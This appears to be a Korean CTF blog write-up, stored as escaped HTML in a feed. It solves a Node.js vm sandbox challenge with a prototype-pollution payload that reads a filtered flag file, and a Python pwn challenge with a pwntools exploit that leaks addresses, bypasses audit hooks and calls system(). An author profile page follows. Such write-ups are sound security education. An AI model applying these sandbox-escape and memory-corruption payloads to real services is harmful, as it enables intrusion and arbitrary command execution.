&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;841&quot; data-origin-height=&quot;492&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bLkMMh/btrLLX490Ra/chP6qQkO1W914V5uMwUjZ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bLkMMh/btrLLX490Ra/chP6qQkO1W914V5uMwUjZ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bLkMMh/btrLLX490Ra/chP6qQkO1W914V5uMwUjZ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbLkMMh%2FbtrLLX490Ra%2FchP6qQkO1W914V5uMwUjZ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;841&quot; height=&quot;492&quot; data-origin-width=&quot;841&quot; data-origin-height=&quot;492&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre class=&quot;javascript&quot;&gt;&lt;code&gt;let sbx = {
        readFile: (path) =&amp;gt; {
            if(!(new String(path).toString()).includes('flag'))
                return fs.readFileSync(path,{encoding: &quot;utf-8&quot;})
            return null
        },
        sum: (args) =&amp;gt; args.reduce((a,b)=&amp;gt;a+b),
    }

let result = &quot;:(&quot;;
    try {
        result = new String(vm.run(`sum([${req.userData}])`))
    } catch (e) {}
    res.type('text/plain').send(result)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;readFile을 이용하여 flag를 읽어오면 됩니다. 그렇다면 일단 ]);readFile();//을 통하여 reaFile()함수를 실행시킬 수 있습니다. 하지만 path에 flag라는 문자열이 들어있으면 안되기에 /flag.txt로 단순하게 읽을 수가 없습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1171&quot; data-origin-height=&quot;427&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbBv6m/btrLLyxHc2X/zUjlz5saf7nBtJzMimStvk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbBv6m/btrLLyxHc2X/zUjlz5saf7nBtJzMimStvk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbBv6m/btrLLyxHc2X/zUjlz5saf7nBtJzMimStvk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbBv6m%2FbtrLLyxHc2X%2FzUjlz5saf7nBtJzMimStvk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1171&quot; height=&quot;427&quot; data-origin-width=&quot;1171&quot; data-origin-height=&quot;427&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;readFileSync는 file scheme을 사용할 수 있습니다. new URL로 줄 수는 없기에 생각한 것은 prototype pollution이었습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;576&quot; data-origin-height=&quot;245&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bhJCid/btrLLAWDYpP/Ud1EBC0P6qRTUGHwrp7y70/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bhJCid/btrLLAWDYpP/Ud1EBC0P6qRTUGHwrp7y70/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bhJCid/btrLLAWDYpP/Ud1EBC0P6qRTUGHwrp7y70/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbhJCid%2FbtrLLAWDYpP%2FUd1EBC0P6qRTUGHwrp7y70%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;576&quot; height=&quot;245&quot; data-origin-width=&quot;576&quot; data-origin-height=&quot;245&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;readFileSync는 path를 받고 isFd로 fd check를 하는데&lt;/p&gt;
&lt;pre class=&quot;fortran&quot;&gt;&lt;code&gt;function isUint32(value) {
  return value === (value &amp;gt;&amp;gt;&amp;gt; 0);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;당연히 false가 나올 것 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;봐야할 곳은 fs.openSync입니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;530&quot; data-origin-height=&quot;391&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dbcwQf/btrLOgv7YIQ/KDkzhBHzYYh4ksmcuQfZt1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dbcwQf/btrLOgv7YIQ/KDkzhBHzYYh4ksmcuQfZt1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dbcwQf/btrLOgv7YIQ/KDkzhBHzYYh4ksmcuQfZt1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdbcwQf%2FbtrLOgv7YIQ%2FKDkzhBHzYYh4ksmcuQfZt1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;530&quot; height=&quot;391&quot; data-origin-width=&quot;530&quot; data-origin-height=&quot;391&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;path만 집중해서 보면 됩니다. 저희가 집중적으로 봐야하는 것은 path에 {}를 넣었을 때 prototype pollution을 통해 값을 overwrite하여 원하는 파일을 읽을 수 있는가 입니다. getValidatePath를 따라가보면&lt;/p&gt;
&lt;pre class=&quot;reasonml&quot;&gt;&lt;code&gt;const getValidatedPath = hideStackFrames((fileURLOrPath, propName = 'path') =&amp;gt; {
  const path = toPathIfFileURL(fileURLOrPath);
  validatePath(path, propName);
  return path;
});&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또 다시 toPathIffileURL 함수로 들어갑니다.&lt;/p&gt;
&lt;pre class=&quot;qml&quot;&gt;&lt;code&gt;function toPathIfFileURL(fileURLOrPath) {
  if (!isURLInstance(fileURLOrPath))
    return fileURLOrPath;
  return fileURLToPath(fileURLOrPath);
}

function isURLInstance(fileURLOrPath) {
  return fileURLOrPath != null &amp;amp;&amp;amp; fileURLOrPath.href &amp;amp;&amp;amp; fileURLOrPath.origin;
}

function fileURLToPath(path) {
  if (typeof path === 'string')
    path = new URL(path);
  else if (!isURLInstance(path))
    throw new ERR_INVALID_ARG_TYPE('path', ['string', 'URL'], path);
  if (path.protocol !== 'file:')
    throw new ERR_INVALID_URL_SCHEME('file');
  return isWindows ? getPathFromURLWin32(path) : getPathFromURLPosix(path);
}
function getPathFromURLPosix(url) {
  if (url.hostname !== '') {
    throw new ERR_INVALID_FILE_URL_HOST(platform);
  }
  const pathname = url.pathname;
  for (let n = 0; n &amp;lt; pathname.length; n++) {
    if (pathname[n] === '%') {
      const third = pathname.codePointAt(n + 2) | 0x20;
      if (pathname[n + 1] === '2' &amp;amp;&amp;amp; third === 102) {
        throw new ERR_INVALID_FILE_URL_PATH(
          'must not include encoded / characters'
        );
      }
    }
  }
  return decodeURIComponent(pathname);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;함수를 분석해보면 toPathIfFileURL -&amp;gt; isURLInstance check -&amp;gt; fileURLOrPath || fileURLToPath() 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;차례대로 분석을 해보면 isURLInstance() 에서는 충분히 prototype pollution을 통하여 값을 덮을 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;fileURLOrPath은 input 이기에 href와 origin의 값은 설정하지 않을 수 있습니다. 그럼 prototype을 참조할 것이고 원하는 값을 overwrite할 수 있습니다. return fileURLOrPath;을 하면 안되기 때문에 값을 overwrite하여 fileURLToPath() 을 호출합니다. fileURLToPath()에서는 path를 {} 줄 것이기 때문에 첫번째 조건문은 false가 되고 두번 째는 toPathIfFileURL()에서 이미 덮어 bypass할 수 있다는 것을 알 수 있기에 거짓입니다. 마지막 조건문은 마찬가지로 prototype pollution을 이용하여 값을 overwrite할 수 있습니다. 그렇다면 readFile() path에 {}를 주고 원하는 값을 overwite가 가능하기에 flag 필터링에 걸리지 않습니다. 마지막으로 getPathFromURLPosix() 함수는 hostname을 체크하고 pathname으로 return하기에 pathname에 /flag.txt를 주면 됩니다. 그렇다면 payload는 다음과 같습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;1+1\]);a={};a.\_\_proto\_\_.href='a';a.\_\_proto\_\_.protocol='file:';a.\_\_proto\_\_.origin='a';a.\_\_proto\_\_.pathname='/flag.txt';a.\_\_proto\_\_.hostname='';readFile({});//;&lt;/code&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;href와 origin은 아무 값이나 들어가면 되고 protocol은 file:, pathname은 flag.txt hostname은 ''으로 overwrite한 후 readFile({})로 호출하면 플래그를 읽을 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;830&quot; data-origin-height=&quot;488&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cboQKp/btrLNvNLZa4/C9YXec5M2v2osLO3NNwog0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cboQKp/btrLNvNLZa4/C9YXec5M2v2osLO3NNwog0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cboQKp/btrLNvNLZa4/C9YXec5M2v2osLO3NNwog0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcboQKp%2FbtrLNvNLZa4%2FC9YXec5M2v2osLO3NNwog0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;830&quot; height=&quot;488&quot; data-origin-width=&quot;830&quot; data-origin-height=&quot;488&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;PWN - Wacon store&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;ruby&quot;&gt;&lt;code&gt;#chall.py
#!/usr/bin/python3.9
import wacon_store
import sys


print('Input your payload: (Ended with &quot;\\nEOF\\n&quot;)')
buf = &quot;&quot;
mapsFile = open('/proc/self/maps')
while(True):
    f = input()
    if(f == 'EOF'):
        break
    buf += f+'\n'

def gift():
    return mapsFile.read()

if(len(buf) &amp;gt; 500):
    raise Exception(':(')

for module in set(sys.modules.keys()):
    if module in sys.modules:
        del sys.modules[module]

wacon_store.open_store()
exec(buf,{'__builtins__' : None},{'buy':wacon_store.buy,'print':print,'int':int,'gift':gift})&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;wacon_store.so 파일을 로드하여 exec로 입력받은 값을 exec해줍니다. module을 다 지워버렸기에 사용할 수 있는 함수들은 buy, print, int, gift로 정해져있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;677&quot; data-origin-height=&quot;214&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bCmdmJ/btrLR8qCibZ/qL24wrOw6kvHWUJnRsZPoK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bCmdmJ/btrLR8qCibZ/qL24wrOw6kvHWUJnRsZPoK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bCmdmJ/btrLR8qCibZ/qL24wrOw6kvHWUJnRsZPoK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbCmdmJ%2FbtrLR8qCibZ%2FqL24wrOw6kvHWUJnRsZPoK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;677&quot; height=&quot;214&quot; data-origin-width=&quot;677&quot; data-origin-height=&quot;214&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;855&quot; data-origin-height=&quot;395&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dZtlnL/btrLLihEOdo/Rb2IzMujqqSV90vhzNqoC1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dZtlnL/btrLLihEOdo/Rb2IzMujqqSV90vhzNqoC1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dZtlnL/btrLLihEOdo/Rb2IzMujqqSV90vhzNqoC1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdZtlnL%2FbtrLLihEOdo%2FRb2IzMujqqSV90vhzNqoC1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;855&quot; height=&quot;395&quot; data-origin-width=&quot;855&quot; data-origin-height=&quot;395&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;331&quot; data-origin-height=&quot;319&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nJQaC/btrLLYXg3X8/Y94wFIUupmOz8WLEkIDxnK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nJQaC/btrLLYXg3X8/Y94wFIUupmOz8WLEkIDxnK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nJQaC/btrLLYXg3X8/Y94wFIUupmOz8WLEkIDxnK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnJQaC%2FbtrLLYXg3X8%2FY94wFIUupmOz8WLEkIDxnK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;331&quot; height=&quot;319&quot; data-origin-width=&quot;331&quot; data-origin-height=&quot;319&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;중요하게 봐야할 부분은 3부분입니다. open_store에서는 sub_11E0()를 hook function으로 넣어줘서 compile, exec함수를 한번씩 사용하게 하게 필터링을 합니다. buy함수에서는 buy()함수를 한번만 사용할 수 있도록 해주며 item의 index를 입력받아 해당 주소에 0을 넣고 string으로 변환하여 return합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AddAuditHook()함수를 통해서 runtime 단에서 필터링을 해주기에 이를 우회하기 위해서는 sub_11E0() hook 인자를 덮어야 한다고 생각했습니다.&lt;/p&gt;
&lt;pre class=&quot;gradle&quot;&gt;&lt;code&gt;int
PySys_AddAuditHook(Py_AuditHookFunction hook, void *userData)
{
    /* tstate can be NULL, so access directly _PyRuntime:
       PySys_AddAuditHook() can be called before Python is initialized. */
    _PyRuntimeState *runtime = &amp;amp;_PyRuntime;
    PyThreadState *tstate;
    if (runtime-&amp;gt;initialized) {
        tstate = _PyRuntimeState_GetThreadState(runtime);
    }
    else {
        tstate = NULL;
    }

    /* Invoke existing audit hooks to allow them an opportunity to abort. */
    /* Cannot invoke hooks until we are initialized */
    if (tstate != NULL) {
        if (_PySys_Audit(tstate, &quot;sys.addaudithook&quot;, NULL) &amp;lt; 0) {
            if (_PyErr_ExceptionMatches(tstate, PyExc_RuntimeError)) {
                /* We do not report errors derived from RuntimeError */
                _PyErr_Clear(tstate);
                return 0;
            }
            return -1;
        }
    }

    _Py_AuditHookEntry *e = runtime-&amp;gt;audit_hook_head;
    if (!e) {
        e = (_Py_AuditHookEntry*)PyMem_RawMalloc(sizeof(_Py_AuditHookEntry));
        runtime-&amp;gt;audit_hook_head = e;
    } else {
        while (e-&amp;gt;next) {
            e = e-&amp;gt;next;
        }
        e = e-&amp;gt;next = (_Py_AuditHookEntry*)PyMem_RawMalloc(
            sizeof(_Py_AuditHookEntry));
    }

    if (!e) {
        if (tstate != NULL) {
            _PyErr_NoMemory(tstate);
        }
        return -1;
    }

    e-&amp;gt;next = NULL;
    e-&amp;gt;hookCFunction = (Py_AuditHookFunction)hook;
    e-&amp;gt;userData = userData;

    return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;cpp&quot;&gt;&lt;code&gt;typedef struct _Py_AuditHookEntry {
        struct _Py_AuditHookEntry *next;
        Py_AuditHookFunction hookCFunction;
        void *userData;
    } _Py_AuditHookEntry;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;audit_hook_head가 없다면 RawMalloc으로 할당해주고 값을 넣어줍니다. 덮어야할 값은 runtime의 audit_hook_head입니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;790&quot; data-origin-height=&quot;387&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/31JQq/btrLQyQB1cK/EuSoUKpMey7vAc9WxwFi9k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/31JQq/btrLQyQB1cK/EuSoUKpMey7vAc9WxwFi9k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/31JQq/btrLQyQB1cK/EuSoUKpMey7vAc9WxwFi9k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F31JQq%2FbtrLQyQB1cK%2FEuSoUKpMey7vAc9WxwFi9k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;790&quot; height=&quot;387&quot; data-origin-width=&quot;790&quot; data-origin-height=&quot;387&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PyMem_RawMalloc 사용하는 부분은 audit_hook_head 할당할 때만 사용하기에 주소가 _PyRuntime+648 인것을 알 수 있습니다. 디버깅 해본 결과 이 값은 고정이었습니다. 덮어야할 주소를 찾았으니 oob가 발생하는 변수의 주소를 알아야합니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;473&quot; data-origin-height=&quot;223&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bTSSaR/btrLLXRCvBL/wKGfHQzBGxnWMEM2tnGCKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bTSSaR/btrLLXRCvBL/wKGfHQzBGxnWMEM2tnGCKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bTSSaR/btrLLXRCvBL/wKGfHQzBGxnWMEM2tnGCKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbTSSaR%2FbtrLLXRCvBL%2FwKGfHQzBGxnWMEM2tnGCKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;473&quot; height=&quot;223&quot; data-origin-width=&quot;473&quot; data-origin-height=&quot;223&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Shirts가 0번째 index 이기에 0x7f74c275102c - 0x00007f74c274f000 == 8236 oob가 발생하는 arr의 주소의 offset은 8236 입니다. gift()함수를 통한 /proc/self/maps의 정보를 통해 wacon_store.so의 주소를 구하여 + 8236을 하면 현재 주소를 구할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;78&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Vx7Qz/btrLMxSGDLc/2OSJnxNCqgUMbReVPez86K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Vx7Qz/btrLMxSGDLc/2OSJnxNCqgUMbReVPez86K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Vx7Qz/btrLMxSGDLc/2OSJnxNCqgUMbReVPez86K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVx7Qz%2FbtrLMxSGDLc%2F2OSJnxNCqgUMbReVPez86K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;78&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;78&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;index 1당 8byte씩 증가되므로 ((0xffffffffffffffff - data) + 0x93a64 + 1) // 8로 index를 구할 수 있습니다.&lt;/p&gt;
&lt;pre class=&quot;markdown&quot;&gt;&lt;code&gt;from pwn import *

p = remote(&quot;127.0.0.1&quot;,9000)

p.recvline()
p.sendline(&quot;leak = gift().splitlines()&quot;)
p.sendline(&quot;wacon_base = int('0x' + leak[7][0:12], 16)&quot;)
p.sendline(&quot;data = wacon_base + 16736&quot;)
p.sendline(&quot;idx = ((0xffffffffffffffff - data) + 0x93a64 + 1) // 8&quot;)
p.sendline(&quot;buy(idx)&quot;)
p.sendline(&quot;().__class__.__base__.__subclasses__()[133].__init__.__globals__.get('system')('/readflag')&quot;)
p.sendline(&quot;EOF&quot;)

p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최종 payload입니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;712&quot; data-origin-height=&quot;121&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/btE8iO/btrLLjOtCRs/GUsjaIow9qrZaBA7khbag0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/btE8iO/btrLLjOtCRs/GUsjaIow9qrZaBA7khbag0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/btE8iO/btrLLjOtCRs/GUsjaIow9qrZaBA7khbag0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbtE8iO%2FbtrLLjOtCRs%2FGUsjaIow9qrZaBA7khbag0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;712&quot; height=&quot;121&quot; data-origin-width=&quot;712&quot; data-origin-height=&quot;121&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>CTF</category>
      <author>ash3r &amp;amp; dmawhwhd</author>
      <guid isPermaLink="true">https://dmawhwhd.tistory.com/8</guid>
      <comments>https://dmawhwhd.tistory.com/8#entry8comment</comments>
      <pubDate>Sun, 11 Sep 2022 05:53:25 +0900</pubDate>
    </item>
    <item>
      <title>About me</title>
      <link>https://dmawhwhd.tistory.com/5</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;Profile  &lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Seungjun Kim (ash3r &amp;amp; dmawhwhd)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Nationality : South Korea&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Birth : 2004&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Work  &amp;zwj; &lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Enki (2022.12.5 ~ 2023.12.18)&lt;/li&gt;
&lt;li&gt;Zellic (2024.1.3 ~ 2025.9)&lt;/li&gt;
&lt;li&gt;Hexalabs (2025.8 ~ 2026.2)&lt;/li&gt;
&lt;li&gt;Hexalabs by Crocus (2026.2 ~ now)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Affiliation  &lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Education&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://www.kaist.ac.kr/&quot;&gt;Kaist&lt;/a&gt; 한국과학기술원&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://sunrint.sen.hs.kr/&quot;&gt;sunrin internet high school&lt;/a&gt; 선린인터넷고등학교&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://security.swu.ac.kr/giftedu/&quot;&gt;서울여자대학교 정보보호영재교육원&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CTF Team&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://guesser.team/&quot;&gt;Super Guesser&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Awards  &lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;2025 DEFCON CTF 33 3위&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;2025 HACKTHEON SEJONG &lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;전국대학생사이버보안경진대회 4위&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;2024 DEFCON CTF 32 3위&lt;/li&gt;
&lt;li&gt;2024 SCAN 2024 2위&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;2024 HACKTHEON SEJONG &lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;전국대학생사이버보안경진대회 5위&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;2024 울산 모의해킹 대회 1위&lt;/li&gt;
